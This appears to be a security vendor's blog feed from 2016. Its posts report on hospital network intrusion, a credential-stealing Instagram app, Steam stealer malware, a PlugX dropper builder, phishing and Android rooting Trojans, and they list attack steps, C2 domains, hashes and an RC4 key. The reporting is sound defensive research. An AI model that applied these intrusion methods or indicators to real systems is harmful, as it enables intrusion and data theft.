Malware Alerts

Subscribe to Malware Alerts feed Malware Alerts
Online headquarters of Kaspersky Lab security experts.
Updated: 6 min 20 sec ago

Hospitals are under attack in 2016

Thu, 03/24/2016 - 04:52

The year 2016 started with a quite a number of security incidents related to hacks of hospitals and medical equipment. They include a ransomware attack on a Los Angeles hospital, the same in two German hospitals, a case of researchers hacking a patient monitor and drug dispense system, an attack on a Melbourne hospital and so on – in just two months of 2016! This should be a real concern for the security industry.

This is not a surprise actually. The industry of Internet of things is on the rise; and, of course, the medical devices industry is one of the biggest concerns in terms of security. Modern medical devices are fully-functional computers that have an operating system and applications installed on them; and most of these devices have a communication channel to the Internet, external networks and different types of custom cloud base servers. These devices are full of sophisticated state-of-art technologies made for one goal – to help doctors treat their patients at the highest level possible. But like all other industrial systems, they are built with a focus on these technologies – to be precise, to be helpful in terms of medical science, but putting security aspects in second or even third place. And this is a quite a concern right now. Program design architecture vulnerabilities, unsecured authorization, unencrypted communication channels and finally critical bugs in software – all this leads to potential compromises.

Unauthorized access to these devices could have serious effects: it could lead not only to theft of personal data – important as it is – but it could directly affect the health, or even the lives, of the patients. Sometimes it’s really scary how simple it is to hack into the hospital, stealing personal information from a medical device or getting access to this device with the possibility of obtaining access to file system, user interface, etc. Imagine a scenario – one that could be called a truly “targeted attack” – whereby cybercriminals with full access to the medical infrastructure at a specific facility can manipulate the results of diagnosis or treatment systems. Because doctors in some cases will depend heavily on these sophisticated medical systems, such manipulation could result in the wrong treatment being given to a patient, worsening his or her medical condition.

In the research that I showed at the Kaspersky Security Analysts Summit, I presented an example of how easy it was to find a hospital, get access to its internal networks and finally gain a control of an MRI device – locating personal data about patients, their personal information, treatment procedures and then getting access to the MRI device file system. The problem is not only one of weak protection of medical equipment, it has a much wider scope – the whole IT infrastructure of modern hospitals is not properly organized and protected, and the problem persists worldwide.

Let’s see how cybercriminals could perform their attacks. I highlighted three major flaws that I see when speaking about proper protection of a medical facility:

First of all – exposure to the Internet with weak or even no authorization at all.

There are a number of ways to find vulnerable devices, for example using the Shodan search engine. Using proper requests to Shodan you can find thousands of medical devices exposed to the Internet: a hacker could discover MRI scanners, cardiology equipment, radioactive medical and other related equipment connected to the Internet. A lot of these devices still operate under the Windows XP OS and have dozens of old, unpatched vulnerabilities that could lead to the full compromise of a remote system. Moreover, in some cases these devices have unchanged default passwords that could easily be found in manuals published on the Internet.

Shodan search results

When I was performing my research and penetration testing on a real hospital, I found a few devices connected to Internet, but they were protected quite well: no default passwords, no vulnerabilities in web control interfaces, etc. But even if the facility is protected from the Internet-side, it won’t stop a cybercriminal from looking for other methods to break in if his goal is to get access no matter what.

And here’s the second flaw – devices are not protected from being accessed from local networks.

In my case I just drove to the hospital location and discovered a number of Wi-Fi access points belonging to the hospital. One of them had a weak Wi-Fi password that I was able to crack within two hours. With this password I was able to get access to the internal hospital network; and I found the same medical equipment I previously discovered on the Internet, but with one major difference – now I was able to connect to them because the local network was a trusted network for them. Manufacturers of medical devices, when creating a whole system, protect them from external access. But for some reason they thought that if someone tries to access them internally – it’s trusted by default. This is radically wrong – do not rely on local system administrators and how they organize the internal network protection of a hospital.

This is where the third flaw comes in – vulnerabilities in software architecture.

When I connected to a device and passed through the default login screen, I immediately got access to the control interface and personal data and diagnosis information about hospital patients. But this is not what attracted my attention. There was a command shell implemented in the user interface giving me access to the file system on the device.

Patient MRI result

In my opinion, it’s a major vulnerability in the application design – even if there was no remote access at all, why would software engineers take this opportunity to provide command shell access to the doctor’s interface? It definitely should not be there by default. This is what I was talking about at the beginning. You can provide good protection from one side, but you can completely fail to pay attention to others; and someone who is planning an attack will likely discover something like this and will compromise the whole device.

The other concern about application vulnerabilities is of course outdated versions of operating systems and patch management difficulties. This is a completely different environment from the standard IT infrastructure for PCs or mobile devices; you cannot simply release a patch for a vulnerability and then upload it to medical devices. It’s a complex manual process and in many cases a qualified engineer is needed on the hospital site to perform a system upgrade and to test that the devices are working properly after the update. That takes time and money, so it’s essential to create a protected system from the very beginning – at the development stage – with as few application vulnerabilities as possible.

The vendors of medical equipment and hospital IT teams should pay close attention to the topic of medical cyber-security; they are now on the list of valuable targets in the cybercriminal underground. We will see a growing number of attacks on medical facilities in the year ahead, including targeted attacks, ransomware infections, DDoS, and even attacks to physically damage medical devices. And finally, the industry has started to pay attention – for example the U.S. Food and Drug Administration (FDA) issued guidance outlining important steps medical device manufacturers should take to continually address cyber-security risks to keep patients safe and to better protect the public health.

I would like to give some recommendations to the local IT personnel working in hospitals:

  • Be aware that cybercriminals are now targeting medical facilities, read about these incidents and try to figure out if the attack methods could affect your own infrastructure.
  • Stick as close to the implemented IT security policies as possible, and develop timely patch management and vulnerability assessment policies as well.
  • Focus not only on protecting your infrastructure from outside threats such as malware and hacker attacks but also on maintaining strict control over what’s going on inside your local network, who has access to what, and any other things that could lead to local systems being compromised.

Thank you, CanSecWest16!

Mon, 03/21/2016 - 15:00

This year, we had the absolute pleasure of being a part of CanSecWest’s fantastic lineup of talks, well-rewarded pwnage, and entertainment among a jovial crowd of infosec practitioners of every stripe. The diversity of the crowd really cannot be overstated as your usual network defenders, hardware and software developers, threat intelligencers (like ourselves) are peppered in with a fair amount of exploit developers sizing up their competition. This year’s Pwn2Own awarded a whopping $460,000 to four out of five teams for successful exploitations of Google Chrome, Microsoft Edge, and Apple Safari browsers. Of these, Tencent Security’s Team Sniper took the lead and the title of ‘Master of Pwn’ embroidered in a pretty sweet purple smoking jacket. We only wished someone would have mastered the always difficult “VM escape”.

The mix of talks was heavily skewed towards exploitation with some very interesting vulnerabilities discussed like Haifei Li and Chong Xu’s talk on Microsoft Outlook security. This talk should’ve scared the pants off of anyone in the crowd as Haifei demoed his now patched BadWinMail exploit that allowed the mere preview of an email on outlook to pop calc.exe. This is the sort of exploit that reminds us that all of the tips and explanations we give end users don’t carry that much weight in the face of a truly advanced attacker with a sense of creativity. There were no links clicked or attachments executed, in some cases (if the malicious email is the latest received when Outlook is first run) the application will preview the malicious email without user interaction required. Zooming out a little bit, we should consider that even though many threat actors are moving away from fancy exploits (finding that inexpensive phishing or macro-laced documents provide good enough results), this is the sort of exploit that the 1% threat actors absolutely love. So perhaps the immediate takeaway should be: “Why the hell isn’t Outlook sandboxed?”

While the majority of the talks focused heavily on exploitation and vulnerabilities, our talk dealt with the usage of false flags and deception techniques by well-known (and some unknown) APT actors. We were skeptical we could hold a full crowd given the skew towards vuln-centric talks, but were pleasantly surprised by the turnout and the warm reception. As we took the crowd through a brief overview of attribution, pitfalls encountered, and techniques being utilized by the bad guys, it was clear to us this topic has not received enough attention in the community. The questions asked during and after the presentation focused mainly on opinions as to whether or not attribution is even needed in the grand scheme of things. While we don’t want to give away our secret sauce just yet (as this is an ongoing project), some of the actors we focused on included Cloud Atlas (AKA Inception Framework), Turla, Lazarus, Sofacy, big bad Duqu, and perhaps a new player. Stay tuned for a very thorough treatment of this topic.

CanSecWest has become a true favorite with GReAT researchers for its welcoming atmosphere and diverse but friendly crowd open to new research topics and hard discussions on ongoing problems. It’s rare to find such a great mix of people from all walks at a conference that isn’t so large or overly commercial. We are looking forward to CSW 2017! Won’t you join us?

Who viewed you Instagram account? And who stole your password?

Mon, 03/21/2016 - 09:33

Introduction

Mobile applications have become one of the most efficient attack vectors, and one of the favorite methods of cybercriminals is the abuse of popular applications. Maybe you would think twice before installing any application that asks for the credentials you use to connect to your social networks, email accounts or cloud storage services?

Recently, a malicious application called “InstaCare – Who cares with me” was released via Google Play Store and App Store. David Layer-Reiss from Peppersoft, a mobile development company from Germany who discovered this threat, provided a good analysis on his blog.

This application serves as a hook to lure Instagram users, pretending to let them know who has viewed their profile; but in reality it abuses the authentication process to connect to Instagram.

In fact, it’s common for many applications to use API’s or authorization protocols such as OAuth to authenticate with third-party applications. This is very convenient for users as they can use the same credentials to authenticate with different applications and services.

The problem here is that this feature can be used maliciously for some applications to gain access to the user’s information, such as their profile and contacts, or to steal their credentials.

This isn’t the first time that this has happened. Last year we published some blog posts outlining where attackers had used malicious applications or email campaigns. Either to steal the user’s credentials – Stealing to the sound of music; or just to get access to user information – Fraudsters can have rights, too; sometimes using popular applications as a cover – Del phishing al acceso persistente (Spanish).

This kind of strategy is very successful. In this particular case, the Android version of this application alone was installed on more than 100K devices with more than 20K reviews, most of them saying that you have to pay in order for it to work correctly.

As with Google Play, we can also find some users in the App Store complaining about problems after installing this app.

It is interesting that this application was able to pass the Apple security checks and was published without any problem, even though its controls are more restrictive, without mentioning that apparently this developer already had a history of having published a malicious application before.

Attack vector

This attack installs JavaScript code into the Submit button on the Instagram login page as soon as the page has finished loading.

This code gets the content of the input fields named “username” and “password” and stores it in the local variable named “str” with the pattern “<username>,-UPPA-,<password>”. After that, it calls the function “processHTML” which stores the collected data in a class variable.

Other information is also collected from the user’s device and sent to the C&C via a POST request.

The value of the parameter “hash” is the data shown in the image above plus the Instagram username and password. This value is encrypted with AES 128 and then encoded with base64. The encryption key is generated from the ID generated by the server.

The iOS version also uses AES 128 but the block cipher mode used is CBC instead of ECB.

Consequently, it uses as Initialization Vector (IV) the string “IOS123SECRETKEYS”.

Once opened it forces the user to login to Instagram.

After that the username and password are sent to the server, as well as some metadata.

Since we have the ID, we can decrypt the content by using a modified version of the Java code published by David. We just need to modify the crypto class initialization

By inputting the content of the “hash” parameter, we can decrypt the data send and find out with information has been sent to the server. As expected, the Instagram username and password is also included in this list.

The username and password will later be used to post spam messages to the user’s Instagram account.

The threats mentioned in this blog post are detected by Kaspersky Lab products as HEUR:Trojan-Spy.AndroidOS.Instealy.a and HEUR:Trojan-Spy.IphoneOS.Instealy.a.

Conclusion

Mobile environments are one of the best targets for cybercriminals; they usually have access to email accounts, social networks, contacts and even the places you have visited.

The use of social networking is one of the best ways to distribute malicious content. We have to be aware of unknown applications that promise something that isn’t provided by the service that we are using. Usually, if the feature does not exist on the service website, it will be hard for third-party software to provide it.

All your creds are belong to us

Tue, 03/15/2016 - 06:59

 Download the full report (PDF)

With astonishing annual revenues of over a hundred billion dollars, the gaming industry has in the past been compared to Hollywood’s burgeoning business, repeatedly demonstrating the influence behind its ever expanding and loyal fan base. Having an endless list of “big hit” video-games coexisting peacefully with humble but still fun-filled “indie” productions makes digital platforms not just a convenient means of purchasing new games, but also a fair one.

With over 140 million registered users and more than seven thousand games available for download, Valve’s multi-OS digital distribution platform, Steam, offers a myriad of possibilities for gamers. This includes the latest games from an always-on cloud-environment, as well as an ever-growing community of like-minded enthusiasts. Steam experiences steady growth in the number of active users registered on the platform, many of them using a credit card to buy content; willingly providing personal information and exchanging items with other network participants via in-game trades or traditional auctions. Security research has tragically ignored gaming malware in the mistaken assumption that nothing of any real value is traded there. This blind spot is being abused by cybercriminals to steal money and affect real damage!

It’s all fun and games until someone’s account gets hijacked

Organized criminal crews from all over Eastern Europe have been paying close attention to Steam’s growing user base and the security techniques and procedures offered to users by the company; waiting patiently for their opportunity. As in the majority of social networks, many profiles don’t reveal their true nature, hiding personal details and payment information behind a carefully crafted identity or digital persona; or, as Jung would put it: “A kind of mask, designed on the one hand to make a definite impression upon others, and on the other to conceal the true nature of the individual.” However, what happens when that mask unexpectedly slips? When your account and all its related, sensitive information stored becomes the ill-gotten gains of an unknown third party? Surprisingly, this nightmare turns to reality for almost 77 thousand unsuspecting users every month, according to Steam’s own statistics. Estimating the financial impact, however, is quite difficult, given that Steam is not obliged to make this information public. While several community websites exist (such as SteamSpy or SteamCompanion) to calculate how much money you have spent on your account, we couldn’t find a single one that kept historical records in order to calculate an average value. An educated guess based on available password dumps makes the value for the credentials a mere $15 USD on the black market.

However, that’s just for accessing the victim’s profile; what the bad guys do afterwards could yield even higher gains, depending on the user.

A characteristic stealer that claimed to “revolutionize” the Steam Item Stealing Industry, its website has been offline for a while now and its Twitter account is basically dead. Yet, its legacy carries on with the malware still being distributed in the wild.

Even though phishing and spear-phishing attacks are always popular among the most active social engineers in the dark corners of the Internet, a new breed of malware, known innocently as a “Steam Stealer” is the prime suspect in the pilfering of numerous user accounts from Valve’s flagship platform. Evolving bit-by-bit from a leaked source on a remote Russian forum, stealers took off once they were proven to be extremely profitable by criminals all around the globe. Available for sale in different versions, with distinct features, free upgrades, user manuals, custom advice for their distribution, and more, stealers have turned the threat landscape for the entertainment ecosystem into a devil’s playground.

An almost perfectly-cloned website for the gaming messenger Razer Comms, which, together with TeamSpeak is one of the most popular baits used by cybercriminals.

One of the reasons behind the growth of specific malware targeting gamers has been the simplicity behind its operation and the ubiquity of its offering. The focus on selling stealers to anyone with money to spend means that a staggering number of script-kiddies and technically-challenged individuals resort to this type of threat as their malware of choice to enter the cybercrime scene.

Everything in one simple package, ready to use and with plenty of documentation for its use. Different functionality is offered as part of each Steam Stealer package, starting from $15 USD.

Adding new features is simple. The average developer just needs to select their favorite programming language and know just enough about Steam’s client design and protocol. There are many APIs and libraries available that interface seamlessly with the Steam platform, significantly reducing the effort required. It’s not uncommon for the bad guys to repurpose legitimate tools and open source libraries for their nefarious campaigns, although in this case the possibilities are just too tempting to pass on to others.

A starting price of 200 rubles ($3 USD) would get you usage rights for a credential stealer for the Steam platform. Paying 450 rubles ($7 USD), would add source code and a user manual.

Every step of the process, from the initial malware distribution to obtaining a profit after the infection is completed, is documented in one of several guides available online (at a cost, of course). In this business model everything has a price and every individual goes above and beyond to make their offer more attractive to potential customers. Malware-as-a-service is not a revolutionary practice. However, when it comes to these types of malicious campaigns we usually see prices starting in the range of $500 dollars (taking as a reference earlier ransomware-as-a-service markets).

A strong focus on Marketing is evident in the “stealing industry”.

With Steam Stealers, a ludicrously low price is usually asked of wannabe criminals for the use of the malware. For an extra cost, the full source code and a user manual is included in the package, making this scheme laughable and terrifying at the same time. Of course, the aforementioned prices represent the low end of the “industry” spectrum, but it would be hard to find any stealer being sold for more than $30 dollars. With so much competition in this niche market, it’s tough making a living as a stealer-seller without daring to go the extra mile.

Past and current trends

Reviewing how Steam Stealers have evolved from “simple” malware to flooding all corners of the Internet, we can assume that this is indeed a booming business.

In the past, there was no obfuscation whatsoever, and sometimes FTP or SMTP credentials were sent over in plain text. Gradually, improvements were introduced to the stealers as well as to the social-engineering aspect: screenshots got better, duplicate sites improved, delivery methods were more diverse and bots got better in mimicking human behavior.

A short rundown of past trends:

  • Use of obfuscators to make analysis and detection harder.
  • Use of file extensions hidden by default by Windows (fake ‘screensaver’ files).
  • Use of NetSupport added (providing remote access to the attacker).
  • Use of fake TeamSpeak servers.
  • Use of automatic Captcha bypass (DeathByCaptcha and others).
  • Use of fake game servers (Counter-Strike: Global Offensive most notably).
  • Use of Pastebin to fetch the actual Steam Stealer.
  • Use of fake screenshot sites impersonating Imgur, LightShot or SavePic.
  • Use of fake voice software impersonating TeamSpeak, RazerComms and others.
  • Use of URL shortening services like bit.ly.
  • Use of Dropbox, Google Docs, Copy.com and others to host the malware.

Current trends are as follows:

  • Use of fake Chrome extensions or JavaScript, scamming via gambling websites.
  • Use of fake gambling sites, including fake deposit bots.
  • Use of AutoIT wrappers to make analysis and detection harder.
  • Use of RATs (Remote Access Trojans) such as NanoCore or DarkComet.

This list may grow, as 2016 has only just begun.

 Download the full report (PDF)

The Steam Stealing industry in numbers

The statistics included in the following section reflect the period between January 1st 2015 and January 1st 2016, concentrating on the most prevalent malware families for Steam Stealers. However, since many detections are made by heuristics or different generic verdicts, the problem is actually much worse and it is hard to get an exact measure. The percentage of infected users is calculated only for countries with over 1,000 detections in the specified period (baseline).

Statistics for Trojan-Downloader.MSIL.Steamilik

Trojan-Downloader.MSIL.Steamilik geography

Trojan-Downloader.MSIL.Steamilik, % of infected users

Trojan-Downloaders can download and install new malicious programs onto the user’s computer – including other Trojans, or the ever annoying adware. This two-stage infection process allows the bad guys to modularize their components and create an initial downloader with reduced functionality which can then gather the malicious contents once the environment has proved worthy.

Statistics for Trojan.MSIL.Steamilik

Trojan.MSIL.Steamilik geography

Trojan.MSIL.Steamilik, % of infected users

This broad category of Trojans contains all malicious programs that perform actions that have not been authorized by the user, such as reading information form the registry key and copying files from the system in order to send them to a command a control server owned by the cybercriminal. It’s worth noting the MSIL sub-category which represents a .NET assembly. The rise of Trojans and the increased use of Microsoft’s flagship development framework go hand in hand, making the lives of all developers (including those with a not so white hat) easier.

Statistics for Trojan-PSW.MSIL.Steam

Trojan-PSW.MSIL.Steam geography

Trojan-PSW.MSIL.Steam, % of infected users

Trojan-PSW programs are designed to steal user account information such as logins and passwords from infected computers. PSW or Password Stealing Ware, when launched, searches specific files which store a range of confidential data or crawl the registry for specific keys. If such data is found, the Trojan sends it to its “master.” Email, FTP, HTTP (including data in a request), or other methods may be used to transmit the stolen data. Brazil caught our attention by taking the second place in this malware category after the Russian Federation. Latin America is certainly a growing malware ecosystem and gamers are not forgotten.

With an extensive range of obfuscators used to protect their intellectual property, together with a decline in detection by security solutions, cybercriminals resort to open source projects such as ‘ConfuserEx’ (the successor of the infamous Confuser project) or even commercially available obfuscators for the .NET Framework such as SmartAssembly. For calculating the previous statistics regarding obfuscators, a group of over 1,200 samples collected via different means was used. All the hash values for this collection will be uploaded to our publicly available IOC repository.

Valve’s counter-measures

Valve has acknowledged the problem, but even if there has been a progressive improvement in the number of protective measures implemented, Steam Stealers are still rampant and many users will at some point find themselves wondering what went wrong. Among the new security measures there are several that have been adopted network-wide and others which you can easily configure for your account to prevent this type of incident and enjoy a secure gaming session:

  • Two-factor authentication either by email or mobile application.
  • Blocking URL’s throughout Steam.
  • Nickname censorship (Steam/Valve).
  • Captcha on trades (briefly), and then bypassed.
  • Limited accounts introduced.
  • Steam e-mail confirmations for utilizing the market and trading items.
  • Verifying e-mail address.
  • $5 USD purchase to combat ‘free abuse’ accounts (expanded on limited accounts).
  • Information about who you are trading with (record).
  • Market will become blocked when logging in from new devices, changing your profile password etc.
  • Steam mobile trade confirmations.
  • Steam account recovery via phone number.
  • Restrict chat from users who do not share a friends, game server, or multi-user chat relationship with you.
  • More restrictive block referral of spam and scam sites.
  • Trade hold duration (15 days).

In terms of preventive measures, we recommend users familiarize themselves with Steam’s updates and new security features, and enable two-factor authentication via Steam Guard as a bare minimum. Bear in mind that propagation is mainly (but not solely) done either via fake cloned websites distributing the malware, or through a social engineering approach with direct messages to the victim. Always have your security solution up to date and never disable it; most products nowadays have a “gaming mode” which will let you enjoy your games without getting any notifications until you are done playing. We have listed all the options Steam offers users to protect their accounts. Remember that cybercriminals aim for numbers and if it’s too much trouble they’ll move on to the next target. Follow these simple recommendations and you will avoid becoming the low hanging fruit.

And if you think the current state of steam stealers is bad, we get the shivers imagining what we will face after Gaben releases Half Life 3. Stay safe, game on, and enjoy Steam!

PlugX malware: A good hacker is an apologetic hacker

Thu, 03/10/2016 - 06:59

It happens that malware writers and other miscreants in the digital world put messages in their malware. Sometimes they do it just for the “lulz”, sometimes to insult a person who hampers their criminal business, sometimes to deliver information to the guys on the other side who oppose them. We hope the case described in this blogpost falls into the first category, i.e. funny message. At least it seemed funny for us.

Our first research into PlugX was published in 2012 – since then this remote access tool (RAT) has become a well-known instrument used in a series of attacks all over the globe targeting multiple industry verticals. PlugX has been detected in targeted attacks not only against military, government or political organizations but also against more or less ordinary companies. In 2013, we discovered that the Winnti group responsible for attacking companies in the online gaming industry has been using the PlugX remote administration tool since at least May 2012.

This time, looking through some anomalous PlugX samples, we stumbled upon one specimen that had an RC4 encoded resource inside. Actually, it turned out to be a test sample with dummy settings. Luckily, it was quite easy to find the initial builder that generates such samples.

PlugX builder

Basically, the builder compiles a handful of different PlugX droppers, including the notorious SFX RAR archives containing the PlugX trinity – a legitimate signed executable susceptible to a DLL side-loading attack, a DLL that is picked up by an executable and the payload file that maintains all the juicy stuff – the PlugX functional library, C2s and other settings.

One such trinity includes Lenovo’s RGB LCD Display Utility for ThinkPad: tplcdclr.exe, wtsapi32.dll (loaded by the application) and the “payload” file wts.chm (loaded by the DLL).

First PlugX trinity from the builder

Legitimate executable from the first PlugX trinity

Another set of three includes a signed version of Steve Gibson’s Domain Name System Benchmarking Utility sep_NE.exe, the winmm.dll file, which the application is dependent on, and the “payload” file sep_NE.slf.

Second PlugX trinity from the builder

Legitimate executable from the second PlugX trinity

But among all the droppers that the builder generates there are two templates posing as executables, with the data maintained usually in a separate “payload” file, embedded in the initial body of the file as a resource.

Encrypted “payload” stuff as a resource in the dropper

The “payload” stuff is kept in encrypted form in the file body. After decryption, this stuff looks like one of the usual PlugX “payload” files, those with easily recognizable shellcode at the beginning:

Decrypted “payload” stuff

The algorithm used to encrypt the payload resource is RC4. And finally (and this is what impelled us to write this blogpost) – the RC4 key for the resource decryption – “SORRY.i_have_to_do_this“.

Apologetic RC4 key

Hmm, interesting… That’s not the message one might expect to find in APT malware that has swamped almost every vertical in nearly every corner of the world. There have been investigations into the infamous PlugX developer in the past. We also have found a number of malware families that are related in some way to PlugX and have likely been developed by the same person. All together it seems that this person has been quite busy in generating malware for different Chinese-speaking APT groups for a long time. That’s obviously a job, already work with no room for sentiment. That’s why the text looks inappropriate here. Unless the malware writer was in a playful mood and had put this in for trolling.

There’s a second option that occurs. Since this is a dropper feature, the dropper for the PlugX could have been developed by another person, not the PlugX developer. In an ordinary cybercriminal hierarchy there are, for example, developers of a bot, ransomware, etc. and packers who create wrappers/droppers to try and allow the core malware to evade AV detection.

Probably some other person, who is not yet such a veteran in the Chinese-speaking APT world and still sees the malware writing practice as some sort of game, was just kidding around.

If you use your imagination, we’re sure you’ll be able to come to your own interesting or quirky conclusions as to how that message ended up in these PlugX droppers. In any case, we really hope this was a bit of fun and not a cry for help from some desperate person forced by circumstances to do bad things.

We detect samples generated by the builder and the builder itself with following modifications of the Gulpix family:
Backdoor.Win32.Gulpix.ajp
Backdoor.Win32.Gulpix.ams
Backdoor.Win32.Gulpix.axe
Backdoor.Win32.Gulpix.axf
Backdoor.Win32.Gulpix.axg
Backdoor.Win32.Gulpix.axi
Backdoor.Win32.Gulpix.axj
Backdoor.Win32.Gulpix.axm
Backdoor.Win32.Gulpix.axn
Backdoor.Win32.Gulpix.axo

And two heuristic verdicts:
HEUR:Trojan.Win32.Generic
HEUR:Trojan.Win32.Invader

The builder MD5 hash is e57691e4f220845df27806563c7dca0b.

Legitimate executables included in PlugX trinities mentioned in the blog-post:
ce2ae795117e54ca8403f86e7a3e19a7 – DNS Benchmark Utility;
d9978f95ce30e85943efb52c9c7d731b – Lenovo’s ThinkPad Display Utility tplcdclr.exe.

Microsoft Security Updates March 2016

Tue, 03/08/2016 - 19:51

Microsoft releases thirteen bulletins this month, patching a total of 44 vulnerabilities. More than half of the critical vulnerabilities fixed this month support the web browsers, Internet Explorer and Microsoft Edge. Vulnerabilities rated critical also exist in Opentype font parsing kernel components, Windows Media Player, and the Windows PDF library. Microsoft reports that none of these vulnerabilities have been publicly disclosed or exploited in the wild. Most everyone running a Windows system that installs these updates will have to reboot that system. A variety of OS, kernel driver, web browser, and entertainment and productivity applications are affected.

  • Internet Explorer
  • Microsoft Edge
  • Microsoft Mail Library Loading Validation
  • Windows Adobe Type Manager Library OpenType Font Parsing (in the past, atmfd.dll)
  • Windows Media
  • Microsoft Office
  • Windows OLE supporting applications like Microsoft Office (Asycfilt.dll, Ole32.dll, Oleaut32.dll, Olepro32.dll)
  • Windows Security Authority (seclogon.dll)
  • Multiple Drivers (KMD)
  • .Net Framework

Microsoft is patching yet another dll sideloading vulnerability, a fairly common problem. Microsoft has been addressing dll pre/side-load problems since Win2k SP4! But this one appears to be a bit of a corner case, requiring the use of Microsoft Mail, and a malicious OLE document be opened for editing on the target’s system.

We are anticipating that more than a couple of these vulnerabilities will be attacked in the wild. In the meantime, we are prioritizing other packages, like Adobe and their updates.

Amazon used as bait

Fri, 03/04/2016 - 09:24

In recent weeks, we have seen several mass-mailings in French, Italian and English, imitating messages from Amazon’s online shops. In all the mailings, the recipients were offered a voucher, a gift certificate or some other prize.

The enticing offers were mostly sent from Italy or France. However, the email addresses from which they were sent immediately raised suspicions: the culprits didn’t even try to imitate Amazon’s official email addresses, and merely used Amazon in the sender’s name.

Each message contains links that supposedly lead to the Amazon website. The recipients have to click the links to claim their “prize”. Analysis of the links shows that users from different countries are redirected to different web pages. For instance, users with a European IP address are asked to fill in a form in English, and are offered the chance to enter a draw for an iPhone 6S as a reward.

The winner is promised a new smartphone for just 1 euro, but first has to enter their bank card details on the video streaming site myflixhd[.]com.

The website offers a 5-day trial period, but requires the user’s bank card details, and then deducts a subscription fee of 50 euros per month if the user fails to cancel the subscription on time.

Naturally, Amazon has nothing to do with this “draw” or any other similar scams, and the chances of winning an iPhone 6S are very slim, to say the least. There is a good chance, however, that the bank card details entered on this advertising web page will be used by third parties for their own ends.

First step in cross-platform Trojan bankers from Brazil done

Thu, 03/03/2016 - 10:57

Brazilian cybercriminals have been “competing” with their Russian-speaking “colleagues” for a while in who makes more Trojan bankers and whose are most effective. A few days ago we found a new wave of different campaigns spreading the initial “Banloader” components in Jar (Java archive), which is very particular by its nature – it’s able to run on Linux, OS X, and of course Windows. Actually, it’s also able to run under certain circumstances even on mobile devices.

Social engineering

Social engineering actually varies from vehicle taxes or fines to boleto’s payment system and even a kind of electronic debt call center.

Some emails come with download links to Jar files, while others directly spread Jar inside archives, so the end user does not need to download anything from the Internet.

Infection

Everything happens when the victims make a click – and we should remember Brazilian cybercriminals are experts in social engineering. So, right, the victim makes a click. What happens next? That also varies. It depends on which group is behind that particular attack. We say this because we have seen different cyber-criminal gangs from Brazil that are clearly not related actively using Jar files to seed bankers.

The fact is, as long as the victim has Java locally installed, the “Banloader” will run and it doesn’t matter if it’s OS X, Linux or Windows.

Some groups just go for traditional PAC modifications, redirecting victims to fake bank websites:

While others work with slightly more complex obfuscating Jar routines using DES or RSA algos.

Once deobfuscated it’s clear it drops a file to the system, which is actually the Banker in charge of stealing the victim’s money:

Interesting strings

Whether it’s intentional or not, the cybercriminals left strings. Here are the strings found in different Jar-based Trojan Banker samples:

liberdade” – freedom, liberty
maravilha” – miracle, thing of beauty

Why is it important?

Because Jar files run on Windows, OS X and Linux, wherever Java is installed. This is the very first step cybercriminals from Brazil have made towards “cross-platforming“.

What does it mean?

Brazilian Trojan Banker coders are now making Trojans running on all platforms and not only Windows.

Does it mean that OS X and Linux users are now also a target of Brazilian bankers?

Not yet. We say this because the banloaders (initial components) come in Jar but the final components (dropped malware) are still designed to run in Windows or they use a Windows system in the case of PAC abusing. However, it’s clear the first step to cross-platforming has just been made. So, it’s a matter of time till we will find Brazilian bankers running on all platforms.

Are Brazilian coders going to release full bankers – bandleaders and bankers running exclusively on Jar?

There is no reason to believe they won’t. They have just started and they won’t stop.

How stealthy is their Jar malware?

Actually, the general detection rate for ALL AV vendors is extremely low.

What is the detection name Kaspersky Lab products use to detect this threat?

Depending on the characteristics of each sample it may fall into one of the following families:

Trojan-Banker.Java.Agent
Trojan-Downloader.Java.Banload
Trojan-Downloader.Java.Agent

Where are most of the victims located?

Naturally Brazil, Spain and then Portugal, the United States, Argentina and Mexico.

Why are there victims in Germany and China?

The same malware techniques have been used by other threat actors and detected under the same malware family.

Attack on Zygote: a new twist in the evolution of mobile threats

Thu, 03/03/2016 - 06:58

The main danger posed by apps that gain root access to a mobile device without the user’s knowledge is that they can provide access to far more advanced and dangerous malware with highly innovative architecture. We feared that Trojans obtaining unauthorized superuser privileges to install legitimate apps and display advertising would eventually start installing malware. And our worst fears have been realized: rooting malware has begun spreading the most sophisticated mobile Trojans we have ever seen.

Rooting malware

In our previous article we wrote about the increasing popularity of malware for Android that gains root access to a device and uses it to install apps and display aggressive advertising. Once this type of malicious program penetrates a device, it often becomes virtually impossible to use it due to the sheer number of annoying ads and installed apps.

Since the first article (August 2015), things have changed for the worse – the number of malware families of this type has increased from four to 11 and they are spreading more actively and becoming much better at “rooting”. According to our estimates, Trojans with superuser privileges attacked about 10% of Android-based mobile devices in the second half of 2015. There were also cases of these programs being pre-installed on new mobile devices coming from China.

However, it’s worth noting that Android-based devices running versions higher than 4.4.4 have much fewer vulnerabilities that can be exploited to gain root access. So basically, the malware targets earlier versions of the OS that are still installed on the majority of devices. The chart below shows the distribution of our product users by Android version. As can be seen from the chart, about 60% use a device on which these Trojans can gain root access.

Versions of Android OS used by users of our products

The owners of the Trojans described above, such as Leech, Ztorg, Gorpo (as well as the new malware family Trojan.AndroidOS.Iop) are working together. Devices infected by these malicious programs usually form a kind of “advertising botnet” via which advertising Trojans distribute each other as well as the advertised apps. Within a few minutes of installing one of these Trojans, all other active malware on the “network” is enabled on the victim’s device. Cybercriminals are cashing in on advertising and installing legitimate applications.

In 2015, this “advertising botnet” was used to distribute malware posing a direct threat to the user. This is how one of the most sophisticated mobile Trojans we have ever analyzed was spread.

Unique Trojan

The “advertising botnet” mentioned above was used to distribute a unique Trojan with the following features:

  • Modular functionality with active use of superuser privileges
  • Main part of malicious functionality exists in device RAM only.
  • Trojan modifies Zygote system process in the memory to achieve persistence.
  • Industrial approaches used in its development, suggesting its authors are highly qualified.

The Trojan is installed in the folder containing the system applications, under names that system applications are likely to have (e.g. AndroidGuardianship.apk, GoogleServerInfo.apk, USBUsageInfo.apk etc.).

Before starting work, the malicious program collects the following information:

  • Name of the device
  • Version of the operating system
  • Size of the SD card
  • Information about device memory (from the file /proc/mem)
  • IMEI
  • IMSI
  • List of applications installed

The collected information is sent to the cybercriminals’ server whose address the Trojan receives from a list written in the code:

  • bridgeph2.zgxuanhao.com:8088
  • bridgeph2.zgxuanhao.com:8088
  • bridgeph3.zgxuanhao.com:8088
  • bridgeph3.zgxuanhao.com:8088
  • bridgeph4.zgxuanhao.com:8088
  • bridgeph2.viewvogue.com:8088
  • bridgeph3.viewvogue.com:8088
  • bridgeph3.viewvogue.com:8088
  • bridgeph4.viewvogue.com:8088

